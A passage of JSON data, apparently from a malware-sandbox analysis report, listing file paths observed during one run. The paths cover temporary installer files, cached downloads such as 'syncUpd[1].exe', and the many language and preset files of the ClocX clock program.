type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\T1MM1X3A\\plus[1].htm","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsn192A.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsn192A.tmp.exe","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\syncUpd[1].exe","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\F0LG0QT9.htm","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\Q8ZXU13X.htm","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\T1MM1X3A\\FZ0NXR46.htm","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\09KCT5EA.htm","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsk104E.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsz10AC.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsz10AC.tmp\\Checker.dll","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsf111B.tmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%TEMP%\\nsz10AC.tmp\\Zip.dll","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\BackupAlarms.bat","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\ClocX.exe","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Afrikaans.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Arabic.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Bosanski.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Brazilian Portuguese.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Bulgarian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Czech.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Danish.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Deutsch.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\English.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Espanol.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Estonian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\French.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Greek.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Hebrew.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Hungarian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Indonesian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Italiano.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Japanese.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Korean.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Nederlands.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Polish.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Portuguese.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Romanian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Russian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Simple_Chinese.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Slovak.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Slovenian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Srpski.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Suomi.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Svenska.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Thai.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Traditional_Chinese.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Turkce.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Lang\\Ukrainian.lng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AJ-CityHall-500-hour.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AJ-CityHall-500-minute.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Adler.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Alte Standuhr.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Alte Standuhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Amarillo.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Apple.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Aqua.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Aqua.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AquaB.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AquaB.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AquaLarge.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\AquaMade.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Aqua_Apple_Clock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Bahnhofsuhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BaiWeather.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BaiWeather.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockAmber.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockAmber.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockAqua.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockAqua.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockIce.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockIce.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockRed.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BallClockRed.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BigBen.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlackAppleClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlackAppleClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlackBallRoman.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlackClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueAppleClock.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueAppleClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallOnlyDots.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallOnlyDots.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallRoman.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallRoman.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallStd.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueBallStd.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueSphere.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueSphere.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BlueSphere2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Blue_sphere.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BubbleClock.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\BubbleClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Cappuccino.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Cappuccino.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\CarpeDiem.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\CarpeDiem.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Casio.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Casio.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Citizen.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Citizen.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\CloQ.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\CloQ.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Comdex - Omega1.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Comdex - Omega1.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DSX4.BMP","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DSX4.TXT","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DarkCrystalBall.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\DarkCrystalBall.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Earth2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\GroenneKugler.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\GroenneKugler.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\GuldKugler.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\GuldKugler.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Holzuhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Holzwanduhr.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\IvyLace.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\IvyLace.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Jagua3rClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Jaguar.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Jaguar2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Jaguar2Clock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\JaguarClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Kirchenuhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\LongClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MClkhrHand.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MClkminHand.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Metalluhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MickeyClock.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MickeyClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MickeyMouse.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MickeyMouse.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MilkClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\MilkClock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Naranja.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Negro.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Negro.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Neon.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Neon.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\NewDefault.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Nvidia.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Nvidia2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\ORIGINAL.INI","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Octopye2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Octopye2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Omega.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Omega.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Original.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Uhr.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Uhr.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\UniversalAccess.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\UniversalAccessClock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Unreal.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Verde.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Violeta.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\VioletteKugler.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\VioletteKugler.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Wall Clock medium-sec.hpng","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Wall Clock medium.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Wall Clock medium.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\White_Apple_Clock.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\White_Apple_Clock.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\WidestoneStudios.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\WidestoneStudios.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\Wonderglobe2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\alarme.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\alarme.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\apple.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\aqua-clock1.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\aqua-clock2.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\aquamade.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\bahnhofsuhr.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\black and steel.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\black and steel.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\cowboy2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\cowboy2.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\default.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\default.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\dragon.bk","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\dsaqua.bmp","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\earth.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\earth.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\earth2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\hallow.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\hallow.png","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\hallow2.ini","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"path":"%PROGRAMFILES%\\(x86)\\ClocX\\Presets\\hallow2.png","sources":[